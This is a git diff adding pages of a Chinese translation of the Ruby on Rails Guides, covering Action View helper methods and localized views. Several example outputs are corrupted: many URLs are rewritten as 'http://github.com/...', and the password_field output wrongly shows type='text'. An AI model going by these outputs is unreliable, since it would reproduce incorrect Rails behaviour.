+
+javascript_include_tag "common" # => <script src="http://github.com/assets/common.js"></script>
+
+
+
+

如果 Rails 应用不使用 Asset Pipeline,就需要向 javascript_include_tag 方法传递 :defaults 参数来包含 jQuery JavaScript 库。此时,如果 app/assets/javascripts 文件夹中存在 application.js 文件,那么这个文件也会包含到页面中。

+
+javascript_include_tag :defaults
+
+
+
+

通过向 javascript_include_tag 方法传递 :all 参数,可以把 app/assets/javascripts 文件夹下的所有 JavaScript 文件包含到页面中。

+
+javascript_include_tag :all
+
+
+
+

我们还可以把多个 JavaScript 文件缓存为一个文件,这样可以减少下载时的 HTTP 连接数,同时还可以启用 gzip 压缩来提高传输速度。当 ActionController::Base.perform_caching 选项设置为 true 时才会启用缓存,此选项在生产环境下默认为 true,在开发环境下默认为 false

+
+javascript_include_tag :all, cache: true
+# => <script src="http://github.com/javascripts/all.js"></script>
+
+
+
+

6.1.6 javascript_path 方法

javascript_path 方法用于计算 app/assets/javascripts 文件夹中 JavaScript 资源的路径。如果没有指定文件的扩展名,Rails 会自动添加 .jsjavascript_path 方法返回 JavaScript 资源的完整路径(绝对路径)。javascript_include_tag 方法在内部使用 javascript_path 方法生成脚本路径。

+
+javascript_path "common" # => /assets/common.js
+
+
+
+

6.1.7 javascript_url 方法

javascript_url 方法用于计算 app/assets/javascripts 文件夹中 JavaScript 资源的 URL 地址。javascript_url 方法在内部调用了 javascript_path 方法,并把得到的 JavaScript 资源的路径和当前主机或静态资源文件服务器的 URL 地址合并。

+
+javascript_url "common" # => http://www.example.com/assets/common.js
+
+
+
+

stylesheet_link_tag 方法用于返回样式表链接标签。如果没有指定文件的扩展名,Rails 会自动添加 .css

+
+stylesheet_link_tag "application"
+# => <link href="http://github.com/assets/application.css" media="screen" rel="stylesheet" />
+
+
+
+

通过向 stylesheet_link_tag 方法传递 :all 参数,可以把样式表文件夹中的所有样式表包含到页面中。

+
+stylesheet_link_tag :all
+
+
+
+

我们还可以把多个样式表缓存为一个文件,这样可以减少下载时的 HTTP 连接数,同时还可以启用 gzip 压缩来提高传输速度。当 ActionController::Base.perform_caching 选项设置为 true 时才会启用缓存,此选项在生产环境下默认为 true,在开发环境下默认为 false

+
+stylesheet_link_tag :all, cache: true
+# => <link href="http://github.com/assets/all.css" media="screen" rel="stylesheet" />
+
+
+
+

6.1.9 stylesheet_path 方法

stylesheet_path 方法用于计算 app/assets/stylesheets 文件夹中样式表资源的路径。如果没有指定文件的扩展名,Rails 会自动添加 .cssstylesheet_path 方法返回样式表资源的完整路径(绝对路径)。stylesheet_link_tag 方法在内部使用 stylesheet_path 方法生成样式表路径。

+
+stylesheet_path "application" # => /assets/application.css
+
+
+
+

6.1.10 stylesheet_url 方法

stylesheet_url 方法用于计算 app/assets/stylesheets 文件夹中样式表资源的 URL 地址。stylesheet_url 方法在内部调用了 stylesheet_path 方法,并把得到的样式表资源路径和当前主机或静态资源文件服务器的 URL 地址合并。

+
+stylesheet_url "application" # => http://www.example.com/assets/application.css
+
+
+
+

6.2 AtomFeedHelper 模块

6.2.1 atom_feed 方法

通过 atom_feed 辅助方法我们可以轻松创建 Atom 订阅源。下面是一个完整的示例:

config/routes.rb

+
+resources :articles
+
+
+
+

app/controllers/articles_controller.rb

+
+def index
+  @articles = Article.all
+
+  respond_to do |format|
+    format.html
+    format.atom
+  end
+end
+
+
+
+

app/views/articles/index.atom.builder

+
+atom_feed do |feed|
+  feed.title("Articles Index")
+  feed.updated(@articles.first.created_at)
+
+  @articles.each do |article|
+    feed.entry(article) do |entry|
+      entry.title(article.title)
+      entry.content(article.body, type: 'html')
+
+      entry.author do |author|
+        author.name(article.author_name)
+      end
+    end
+  end
+end
+
+
+
+

6.3 BenchmarkHelper 模块

6.3.1 benchmark 方法

benchmark 方法用于测量模板中某个块的执行时间,并把测量结果写入日志。benchmark 方法常用于测量耗时操作或可能的性能瓶颈的执行时间。

+
+<% benchmark "Process data files" do %>
+  <%= expensive_files_operation %>
+<% end %>
+
+
+
+

上面的代码会在日志中写入类似 Process data files (0.34523) 的测量结果,我们可以通过比较执行时间来优化代码。

6.4 CacheHelper 模块

6.4.1 cache 方法

cache 方法用于缓存视图片断而不是整个动作或页面。此方法常用于缓存页面中诸如菜单、新闻主题列表、静态 HTML 片断等内容。cache 方法接受块作为参数,块中包含要缓存的内容。关于 cache 方法的更多介绍,请参阅 AbstractController::Caching::Fragments 模块的文档。

+
+<% cache do %>
+  <%= render "shared/footer" %>
+<% end %>
+
+
+
+

6.5 CaptureHelper 模块

6.5.1 capture 方法

capture 方法用于取出模板的一部分并储存在变量中,然后我们可以在模板或布局中的任何地方使用这个变量。

+
+<% @greeting = capture do %>
+  <p>Welcome! The date and time is <%= Time.now %></p>
+<% end %>
+
+
+
+

可以在模板或布局中的任何地方使用 @greeting 变量。

+
+<html>
+  <head>
+    <title>Welcome!</title>
+  </head>
+  <body>
+    <%= @greeting %>
+  </body>
+</html>
+
+
+
+

6.5.2 content_for 方法

content_for 方法以块的方式把模板内容保存在标识符中,然后我们可以在模板或布局中把这个标识符传递给 yield 方法作为参数来调用所保存的内容。

假如应用拥有标准布局,同时拥有一个特殊页面,这个特殊页面需要包含其他页面都不需要的 JavaScript 脚本。为此我们可以在这个特殊页面中使用 content_for 方法来包含所需的 JavaScript 脚本,而不必增加其他页面的体积。

app/views/layouts/application.html.erb

+
+<html>
+  <head>
+    <title>Welcome!</title>
+    <%= yield :special_script %>
+  </head>
+  <body>
+    <p>Welcome! The date and time is <%= Time.now %></p>
+  </body>
+</html>
+
+
+
+

app/views/articles/special.html.erb

+
+<p>This is a special page.</p>
+
+<% content_for :special_script do %>
+  <script>alert('Hello!')</script>
+<% end %>
+
+
+
+

6.6 DateHelper 模块

6.6.1 date_select 方法

date_select 方法返回年、月、日的选择列表标签,用于设置 date 类型的属性的值。

+
+date_select("article", "published_on")
+
+
+
+

6.6.2 datetime_select 方法

datetime_select 方法返回年、月、日、时、分的选择列表标签,用于设置 datetime 类型的属性的值。

+
+datetime_select("article", "published_on")
+
+
+
+

6.6.3 distance_of_time_in_words 方法

distance_of_time_in_words 方法用于计算两个 Time 对象、Date 对象或秒数的大致时间间隔。把 include_seconds 选项设置为 true 可以得到更精确的时间间隔。

+
+distance_of_time_in_words(Time.now, Time.now + 15.seconds)        # => less than a minute
+distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true)  # => less than 20 seconds
+
+
+
+

6.6.4 select_date 方法

select_date 方法返回年、月、日的选择列表标签,并通过 Date 对象来设置默认值。

+
+# 生成一个日期选择列表,默认选中指定的日期(六天以后)
+select_date(Time.today + 6.days)
+
+# 生成一个日期选择列表,默认选中今天(未指定日期)
+select_date()
+
+
+
+

6.6.5 select_datetime 方法

select_datetime 方法返回年、月、日、时、分的选择列表标签,并通过 Datetime 对象来设置默认值。

+
+# 生成一个日期时间选择列表,默认选中指定的日期时间(四天以后)
+select_datetime(Time.now + 4.days)
+
+# 生成一个日期时间选择列表,默认选中今天(未指定日期时间)
+select_datetime()
+
+
+
+

6.6.6 select_day 方法

select_day 方法返回当月全部日子的选择列表标签,如 1 到 31,并把当日设置为默认值。

+
+# 生成一个日子选择列表,默认选中指定的日子
+select_day(Time.today + 2.days)
+
+# 生成一个日子选择列表,默认选中指定数字对应的日子
+select_day(5)
+
+
+
+

6.6.7 select_hour 方法

select_hour 方法返回一天中 24 小时的选择列表标签,即 0 到 23,并把当前小时设置为默认值。

+
+# 生成一个小时选择列表,默认选中指定的小时
+select_hour(Time.now + 6.hours)
+
+
+
+

6.6.8 select_minute 方法

select_minute 方法返回一小时中 60 分钟的选择列表标签,即 0 到 59,并把当前分钟设置为默认值。

+
+# 生成一个分钟选择列表,默认选中指定的分钟
+select_minute(Time.now + 10.minutes)
+
+
+
+

6.6.9 select_month 方法

select_month 方法返回一年中 12 个月的选择列表标签,并把当月设置为默认值。

+
+# 生成一个月份选择列表,默认选中当前月份
+select_month(Date.today)
+
+
+
+

6.6.10 select_second 方法

select_second 方法返回一分钟中 60 秒的选择列表标签,即 0 到 59,并把当前秒设置为默认值。

+
+# 生成一个秒数选择列表,默认选中指定的秒数
+select_second(Time.now + 16.seconds)
+
+
+
+

6.6.11 select_time 方法

select_time 方法返回时、分的选择列表标签,并通过 Time 对象来设置默认值。

+
+# 生成一个时间选择列表,默认选中指定的时间
+select_time(Time.now)
+
+
+
+

6.6.12 select_year 方法

select_year 方法返回当年和前后各五年的选择列表标签,并把当年设置为默认值。可以通过 :start_year:end_year 选项自定义年份范围。

+
+# 选择今天所在年份前后五年的年份选择列表,默认选中当年
+select_year(Date.today)
+
+# 选择一个从 1900 年到 20009 年的年份选择列表,默认选中当年
+select_year(Date.today, start_year: 1900, end_year: 2009)
+
+
+
+

6.6.13 time_ago_in_words 方法

time_ago_in_words 方法和 distance_of_time_in_words 方法类似,区别在于 time_ago_in_words 方法计算的是指定时间到 Time.now 对应的当前时间的时间间隔。

+
+time_ago_in_words(3.minutes.from_now)  # => 3 minutes
+
+
+
+

6.6.14 time_select 方法

time_select 方返回时、分、秒的选择列表标签(其中秒可选),用于设置 time 类型的属性的值。选择的结果作为多个参数赋值给 Active Record 对象。

+
+# 生成一个时间选择标签,通过 POST 发送后存储在提交的属性中的 order 变量中
+time_select("order", "submitted")
+
+
+
+

6.7 DebugHelper 模块

debug 方法返回放在 pre 标签里的 YAML 格式的对象内容。这种审查对象的方式可读性很好。

+
+my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] }
+debug(my_hash)
+
+
+
+
+
+<pre class='debug_dump'>---
+first: 1
+second: two
+third:
+- 1
+- 2
+- 3
+</pre>
+
+
+
+

6.8 FormHelper 模块

和仅使用标准 HTML 元素相比,表单辅助方法提供了一组基于模型创建表单的方法,可以大大简化模型的处理过程。表单辅助方法生成表单的 HTML 代码,并提供了用于生成各种输入组件(如文本框、密码框、选择列表等)的 HTML 代码的辅助方法。在提交表单时(用户点击提交按钮或通过 JavaScript 调用 form.submit),表单输入会绑定到 params 对象上并回传给控制器。

表单辅助方法分为两类:一类专门用于处理模型属性,另一类不处理模型属性。本节中介绍的辅助方法都属于前者,后者的例子可参阅 ActionView::Helpers::FormTagHelper 模块的文档。

form_for 辅助方法是 FormHelper 模块中最核心的方法,用于创建处理模型实例的表单。例如,假设我们想为 Person 模型创建实例:

+
+# 注意:要在控制器中创建 @person 变量(例如 @person = Person.new)
+<%= form_for @person, url: { action: "create" } do |f| %>
+  <%= f.text_field :first_name %>
+  <%= f.text_field :last_name %>
+  <%= submit_tag 'Create' %>
+<% end %>
+
+
+
+

上面的代码会生成下面的 HTML:

+
+<form action="http://github.com/people/create" method="post">
+  <input id="person_first_name" name="person[first_name]" type="text" />
+  <input id="person_last_name" name="person[last_name]" type="text" />
+  <input name="commit" type="submit" value="Create" />
+</form>
+
+
+
+

提交表单时创建的 params 对象会像下面这样:

+
+{ "action" => "create", "controller" => "people", "person" => { "first_name" => "William", "last_name" => "Smith" } }
+
+
+
+

params 散列包含了嵌套的 person 值,这个值可以在控制器中通过 params[:person] 访问。

6.8.1 check_box 方法

check_box 方法返回用于处理指定模型属性的复选框标签。

+
+# 假设 @article.validated? 的值是 1
+check_box("article", "validated")
+# => <input type="checkbox" id="article_validated" name="article[validated]" value="1" />
+#    <input name="article[validated]" type="hidden" value="0" />
+
+
+
+

6.8.2 fields_for 方法

form_for 方法类似,fields_for 方法创建用于处理指定模型对象的作用域,区别在于 fields_for 方法不会创建 form 标签。fields_for 方法适用于在同一个表单中指明附加的模型对象。

+
+<%= form_for @person, url: { action: "update" } do |person_form| %>
+  First name: <%= person_form.text_field :first_name %>
+  Last name : <%= person_form.text_field :last_name %>
+
+  <%= fields_for @person.permission do |permission_fields| %>
+    Admin?  : <%= permission_fields.check_box :admin %>
+  <% end %>
+<% end %>
+
+
+
+

6.8.3 file_field 方法

file_field 方法返回用于处理指定模型属性的文件上传组件标签。

+
+file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+
+
+
+

6.8.4 form_for 方法

form_for 方法创建用于处理指定模型对象的表单和作用域,表单的各个组件用于处理模型对象的对应属性。

+
+<%= form_for @article do |f| %>
+  <%= f.label :title, 'Title' %>:
+  <%= f.text_field :title %><br>
+  <%= f.label :body, 'Body' %>:
+  <%= f.text_area :body %><br>
+<% end %>
+
+
+
+

6.8.5 hidden_​​field 方法

hidden_​​field 方法返回用于处理指定模型属性的隐藏输入字段标签。

+
+hidden_field(:user, :token)
+# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+
+
+
+

6.8.6 label 方法

label 方法返回用于处理指定模型属性的文本框的 label 标签。

+
+label(:article, :title)
+# => <label for="article_title">Title</label>
+
+
+
+

6.8.7 password_field 方法

password_field 方法返回用于处理指定模型属性的密码框标签。

+
+password_field(:login, :pass)
+# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
+
+
+
+

6.8.8 radio_button 方法

radio_button 方法返回用于处理指定模型属性的单选按钮标签。

+
+# 假设 @article.category 的值是“rails”
+radio_button("article", "category", "rails")
+radio_button("article", "category", "java")
+# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
+#    <input type="radio" id="article_category_java" name="article[category]" value="java" />
+
+
+
+

6.8.9 text_area 方法

text_area 方法返回用于处理指定模型属性的文本区域标签。

+
+text_area(:comment, :text, size: "20x30")
+# => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+#      #{@comment.text}
+#    </textarea>
+
+
+
+

6.8.10 text_field 方法

text_field 方法返回用于处理指定模型属性的文本框标签。

+
+text_field(:article, :title)
+# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" />
+
+
+
+

6.8.11 email_field 方法

email_field 方法返回用于处理指定模型属性的电子邮件地址输入框标签。

+
+email_field(:user, :email)
+# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" />
+
+
+
+

6.8.12 url_field 方法

url_field 方法返回用于处理指定模型属性的 URL 地址输入框标签。

+
+url_field(:user, :url)
+# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" />
+
+
+
+

6.9 FormOptionsHelper 模块

FormOptionsHelper 模块提供了许多方法,用于把不同类型的容器转换为一组选项标签。

6.9.1 collection_select 方法

collection_select 方法返回一个集合的选择列表标签,其中每个集合元素的两个指定方法的返回值分别是每个选项的值和文本。

在下面的示例代码中,我们定义了两个模型:

+
+class Article < ApplicationRecord
+  belongs_to :author
+end
+
+class Author < ApplicationRecord
+  has_many :articles
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+
+
+

在下面的示例代码中,collection_select 方法用于生成 Article 模型的实例 @article 的相关作者的选择列表:

+
+collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true })
+
+
+
+

如果 @article.author_id 的值为 1,上面的代码会生成下面的 HTML:

+
+<select name="article[author_id]">
+  <option value="">Please select</option>
+  <option value="1" selected="selected">D. Heinemeier Hansson</option>
+  <option value="2">D. Thomas</option>
+  <option value="3">M. Clark</option>
+</select>
+
+
+
+

6.9.2 collection_radio_buttons 方法

collection_radio_buttons 方法返回一个集合的单选按钮标签,其中每个集合元素的两个指定方法的返回值分别是每个选项的值和文本。

在下面的示例代码中,我们定义了两个模型:

+
+class Article < ApplicationRecord
+  belongs_to :author
+end
+
+class Author < ApplicationRecord
+  has_many :articles
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+
+
+

在下面的示例代码中,collection_radio_buttons 方法用于生成 Article 模型的实例 @article 的相关作者的单选按钮:

+
+collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial)
+
+
+
+

如果 @article.author_id 的值为 1,上面的代码会生成下面的 HTML:

+
+<input id="article_author_id_1" name="article[author_id]" type="radio" value="1" checked="checked" />
+<label for="article_author_id_1">D. Heinemeier Hansson</label>
+<input id="article_author_id_2" name="article[author_id]" type="radio" value="2" />
+<label for="article_author_id_2">D. Thomas</label>
+<input id="article_author_id_3" name="article[author_id]" type="radio" value="3" />
+<label for="article_author_id_3">M. Clark</label>
+
+
+
+

6.9.3 collection_check_boxes 方法

collection_check_boxes 方法返回一个集合的复选框标签,其中每个集合元素的两个指定方法的返回值分别是每个选项的值和文本。

在下面的示例代码中,我们定义了两个模型:

+
+class Article < ApplicationRecord
+  has_and_belongs_to_many :authors
+end
+
+class Author < ApplicationRecord
+  has_and_belongs_to_many :articles
+  def name_with_initial
+    "#{first_name.first}. #{last_name}"
+  end
+end
+
+
+
+

在下面的示例代码中,collection_check_boxes 方法用于生成 Article 模型的实例 @article 的相关作者的复选框:

+
+collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial)
+
+
+
+

如果 @article.author_ids 的值为 [1],上面的代码会生成下面的 HTML:

+
+<input id="article_author_ids_1" name="article[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="article_author_ids_1">D. Heinemeier Hansson</label>
+<input id="article_author_ids_2" name="article[author_ids][]" type="checkbox" value="2" />
+<label for="article_author_ids_2">D. Thomas</label>
+<input id="article_author_ids_3" name="article[author_ids][]" type="checkbox" value="3" />
+<label for="article_author_ids_3">M. Clark</label>
+<input name="article[author_ids][]" type="hidden" value="" />
+
+
+
+

6.9.4 option_groups_from_collection_for_select 方法

options_from_collection_for_select 方法类似,option_groups_from_collection_for_select 方法返回一组选项标签,区别在于使用 option_groups_from_collection_for_select 方法时这些选项会根据模型的关联关系用 optgroup 标签分组。

在下面的示例代码中,我们定义了两个模型:

+
+class Continent < ApplicationRecord
+  has_many :countries
+  # attribs: id, name
+end
+
+class Country < ApplicationRecord
+  belongs_to :continent
+  # attribs: id, name, continent_id
+end
+
+
+
+

示例用法:

+
+option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+
+
+
+

可能的输出结果:

+
+<optgroup label="Africa">
+  <option value="1">Egypt</option>
+  <option value="4">Rwanda</option>
+  ...
+</optgroup>
+<optgroup label="Asia">
+  <option value="3" selected="selected">China</option>
+  <option value="12">India</option>
+  <option value="5">Japan</option>
+  ...
+</optgroup>
+
+
+
+

注意:option_groups_from_collection_for_select 方法只返回 optgroupoption 标签,我们要把这些 optgroupoption 标签放在 select 标签里。

6.9.5 options_for_select 方法

options_for_select 方法接受容器(如散列、数组、可枚举对象、自定义类型)作为参数,返回一组选项标签。

+
+options_for_select([ "VISA", "MasterCard" ])
+# => <option>VISA</option> <option>MasterCard</option>
+
+
+
+

注意:options_for_select 方法只返回 option 标签,我们要把这些 option 标签放在 select 标签里。

6.9.6 options_from_collection_for_select 方法

options_from_collection_for_select 方法通过遍历集合返回一组选项标签,其中每个集合元素的 value_methodtext_method 方法的返回值分别是每个选项的值和文本。

+
+# options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+
+
+
+

在下面的示例代码中,我们遍历 @project.people 集合得到 person 元素,person.idperson.name 方法分别是前面提到的 value_methodtext_method 方法,这两个方法分别返回选项的值和文本:

+
+options_from_collection_for_select(@project.people, "id", "name")
+# => <option value="#{person.id}">#{person.name}</option>
+
+
+
+

注意:options_from_collection_for_select 方法只返回 option 标签,我们要把这些 option 标签放在 select 标签里。

6.9.7 select 方法

select 方法使用指定对象和方法创建选择列表标签。

示例用法:

+
+select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true })
+
+
+
+

如果 @article.persion_id 的值为 1,上面的代码会生成下面的 HTML:

+
+<select name="article[person_id]">
+  <option value=""></option>
+  <option value="1" selected="selected">David</option>
+  <option value="2">Eileen</option>
+  <option value="3">Rafael</option>
+</select>
+
+
+
+

6.9.8 time_zone_options_for_select 方法

time_zone_options_for_select 方法返回一组选项标签,其中每个选项对应一个时区,这些时区几乎包含了世界上所有的时区。

6.9.9 time_zone_select 方法

time_zone_select 方法返回时区的选择列表标签,其中选项标签是通过 time_zone_options_for_select 方法生成的。

+
+time_zone_select( "user", "time_zone")
+
+
+
+

6.9.10 date_field 方法

date_field 方法返回用于处理指定模型属性的日期输入框标签。

+
+date_field("user", "dob")
+
+
+
+

6.10 FormTagHelper 模块

FormTagHelper 模块提供了许多用于创建表单标签的方法。和 FormHelper 模块不同,FormTagHelper 模块提供的方法不依赖于传递给模板的 Active Record 对象。作为替代,我们可以手动为表单的各个组件的标签提供 namevalue 属性。

6.10.1 check_box_tag 方法

check_box_tag 方法用于创建复选框标签。

+
+check_box_tag 'accept'
+# => <input id="accept" name="accept" type="checkbox" value="1" />
+
+
+
+

6.10.2 field_set_tag 方法

field_set_tag 方法用于创建 fieldset 标签。

+
+<%= field_set_tag do %>
+  <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+
+
+
+

6.10.3 file_field_tag 方法

file_field_tag 方法用于创建文件上传组件标签。

+
+<%= form_tag({ action: "post" }, multipart: true) do %>
+  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+  <%= submit_tag %>
+<% end %>
+
+
+
+

示例输出:

+
+file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+
+
+
+

6.10.4 form_tag 方法

form_tag 方法用于创建表单标签。和 ActionController::Base#url_for 方法类似,form_tag 方法的第一个参数是 url_for_options 选项,用于说明提交表单的 URL。

+
+<%= form_tag '/articles' do %>
+  <div><%= submit_tag 'Save' %></div>
+<% end %>
+# => <form action="http://github.com/articles" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+
+
+
+

6.10.5 hidden_​​field_tag 方法

hidden_​​field_tag 方法用于创建隐藏输入字段标签。隐藏输入字段用于传递因 HTTP 无状态特性而丢失的数据,或不想让用户看到的数据。

+
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
+
+
+
+

6.10.6 image_submit_tag 方法

image_submit_tag 方法会显示一张图像,点击这张图像会提交表单。

+
+image_submit_tag("login.png")
+# => <input src="http://github.com/images/login.png" type="image" />
+
+
+
+

6.10.7 label_tag 方法

label_tag 方法用于创建 label 标签。

+
+label_tag 'name'
+# => <label for="name">Name</label>
+
+
+
+

6.10.8 password_field_tag 方法

password_field_tag 方法用于创建密码框标签。用户在密码框中输入的密码会被隐藏起来。

+
+password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+
+
+
+

6.10.9 radio_button_tag 方法

radio_button_tag 方法用于创建单选按钮标签。为一组单选按钮设置相同的 name 属性即可实现对一组选项进行单选。

+
+radio_button_tag 'gender', 'male'
+# => <input id="gender_male" name="gender" type="radio" value="male" />
+
+
+
+

6.10.10 select_tag 方法

select_tag 方法用于创建选择列表标签。

+
+select_tag "people", "<option>David</option>"
+# => <select id="people" name="people"><option>David</option></select>
+
+
+
+

6.10.11 submit_tag 方法

submit_tag 方法用于创建提交按钮标签,并在按钮上显示指定的文本。

+
+submit_tag "Publish this article"
+# => <input name="commit" type="submit" value="Publish this article" />
+
+
+
+

6.10.12 text_area_tag 方法

text_area_tag 方法用于创建文本区域标签。文本区域用于输入较长的文本,如博客帖子或页面描述。

+
+text_area_tag 'article'
+# => <textarea id="article" name="article"></textarea>
+
+
+
+

6.10.13 text_field_tag 方法

text_field_tag 方法用于创建文本框标签。文本框用于输入较短的文本,如用户名或搜索关键词。

+
+text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+
+
+
+

6.10.14 email_field_tag 方法

email_field_tag 方法用于创建电子邮件地址输入框标签。

+
+email_field_tag 'email'
+# => <input id="email" name="email" type="email" />
+
+
+
+

6.10.15 url_field_tag 方法

url_field_tag 方法用于创建 URL 地址输入框标签。

+
+url_field_tag 'url'
+# => <input id="url" name="url" type="url" />
+
+
+
+

6.10.16 date_field_tag 方法

date_field_tag 方法用于创建日期输入框标签。

+
+date_field_tag "dob"
+# => <input id="dob" name="dob" type="date" />
+
+
+
+

6.11 JavaScriptHelper 模块

JavaScriptHelper 模块提供在视图中使用 JavaScript 的相关方法。

6.11.1 escape_javascript 方法

escape_javascript 方法转义 JavaScript 代码中的回车符、单引号和双引号。

6.11.2 javascript_tag 方法

javascript_tag 方法返回放在 script 标签里的 JavaScript 代码。

+
+javascript_tag "alert('All is good')"
+
+
+
+
+
+<script>
+//<![CDATA[
+alert('All is good')
+//]]>
+</script>
+
+
+
+

6.12 NumberHelper 模块

NumberHelper 模块提供把数字转换为格式化字符串的方法,包括把数字转换为电话号码、货币、百分数、具有指定精度的数字、带有千位分隔符的数字和文件大小的方法。

6.12.1 number_to_currency 方法

number_to_currency 方法用于把数字转换为货币字符串(例如 $13.65)。

+
+number_to_currency(1234567890.50) # => $1,234,567,890.50
+
+
+
+

6.12.2 number_to_human_size 方法

number_to_human_size 方法用于把数字转换为容易阅读的形式,常用于显示文件大小。

+
+number_to_human_size(1234)          # => 1.2 KB
+number_to_human_size(1234567)       # => 1.2 MB
+
+
+
+

6.12.3 number_to_percentage 方法

number_to_percentage 方法用于把数字转换为百分数字符串。

+
+number_to_percentage(100, precision: 0)        # => 100%
+
+
+
+

6.12.4 number_to_phone 方法

number_to_phone 方法用于把数字转换为电话号码(默认为美国)。

+
+number_to_phone(1235551234) # => 123-555-1234
+
+
+
+

6.12.5 number_with_delimiter 方法

number_with_delimiter 方法用于把数字转换为带有千位分隔符的数字。

+
+number_with_delimiter(12345678) # => 12,345,678
+
+
+
+

6.12.6 number_with_precision 方法

number_with_precision 方法用于把数字转换为具有指定精度的数字,默认精度为 3。

+
+number_with_precision(111.2345)     # => 111.235
+number_with_precision(111.2345, precision: 2)  # => 111.23
+
+
+
+

6.13 SanitizeHelper 模块

SanitizeHelper 模块提供从文本中清除不需要的 HTML 元素的方法。

6.13.1 sanitize 方法

sanitize 方法会对所有标签进行 HTML 编码,并清除所有未明确允许的属性。

+
+sanitize @article.body
+
+
+
+

如果指定了 :attributes:tags 选项,那么只有指定的属性或标签才不会被清除。

+
+sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style)
+
+
+
+

要想修改 sanitize 方法的默认选项,例如把表格标签设置为允许的属性,可以按下面的方式设置:

+
+class Application < Rails::Application
+  config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
+end
+
+
+
+

6.13.2 sanitize_css(style) 方法

sanitize_css(style) 方法用于净化 CSS 代码。

strip_links(html) 方法用于清除文本中所有的链接标签,只保留链接文本。

+
+strip_links('<a href="http://rubyonrails.org/">Ruby on Rails</a>')
+# => Ruby on Rails
+
+
+
+
+
+strip_links('emails to <a href="/service/mailto:me@email.com">me@email.com</a>.')
+# => emails to me@email.com.
+
+
+
+
+
+strip_links('Blog: <a href="http://myblog.com/">Visit</a>.')
+# => Blog: Visit.
+
+
+
+

6.13.4 strip_tags(html) 方法

strip_tags(html) 方法用于清除包括注释在内的所有 HTML 标签。这个方法的功能由 rails-html-sanitizer gem 提供。

+
+strip_tags("Strip <i>these</i> tags!")
+# => Strip these tags!
+
+
+
+
+
+strip_tags("<b>Bold</b> no more!  <a href='http://github.com/more.html'>See more</a>")
+# => Bold no more!  See more
+
+
+
+

注意:使用 strip_tags(html) 方法清除后的文本仍然可能包含 <、> 和 & 字符,从而导致浏览器显示异常。

6.14 CsrfHelper 模块

csrf_meta_tags 方法用于生成 csrf-paramcsrf-token 这两个元标签,它们分别是跨站请求伪造保护的参数和令牌。

+
+<%= csrf_meta_tags %>
+
+
+
+

普通表单生成隐藏字段,因此不使用这些标签。关于这个问题的更多介绍,请参阅 跨站请求伪造(CSRF)

7 本地化视图

Action View 可以根据当前的本地化设置渲染不同的模板。

假如 ArticlesController 控制器中有 show 动作。默认情况下,调用 show 动作会渲染 app/views/articles/show.html.erb 模板。如果我们设置了 I18n.locale = :de,那么调用 show 动作会渲染 app/views/articles/show.de.html.erb 模板。如果对应的本地化模板不存在,就会使用对应的默认模板。这意味着我们不需要为所有情况提供本地化视图,但如果本地化视图可用就会优先使用。

我们可以使用相同的技术来本地化公共目录中的错误文件。例如,通过设置 I18n.locale = :de 并创建 public/500.de.htmlpublic/404.de.html 文件,我们就拥有了本地化的错误文件。

由于 Rails 不会限制用于设置 I18n.locale 的符号,我们可以利用本地化视图根据我们喜欢的任何东西来显示不同的内容。例如,假设专家用户应该看到和普通用户不同的页面,我们可以在 app/controllers/application.rb 配置文件中进行如下设置:

+
+before_action :set_expert_locale
+
+def set_expert_locale
+  I18n.locale = :expert if current_user.expert?
+end
+
+
+
+

然后创建 app/views/articles/show.expert.html.erb 这样的显示给专家用户看的特殊视图。

关于 Rails 国际化的更多介绍,请参阅Rails 国际化 API

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_job_basics.html b/active_job_basics.html new file mode 100644 index 0000000..2272c6b --- /dev/null +++ b/active_job_basics.html @@ -0,0 +1,545 @@ + + + + + + + +Active Job 基础 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Job 基础

本文全面说明创建、入队和执行后台作业的基础知识。

读完本文后,您将学到:

+
    +
  • 如何创建作业;
  • +
  • 如何入队作业;
  • +
  • 如何在后台运行作业;
  • +
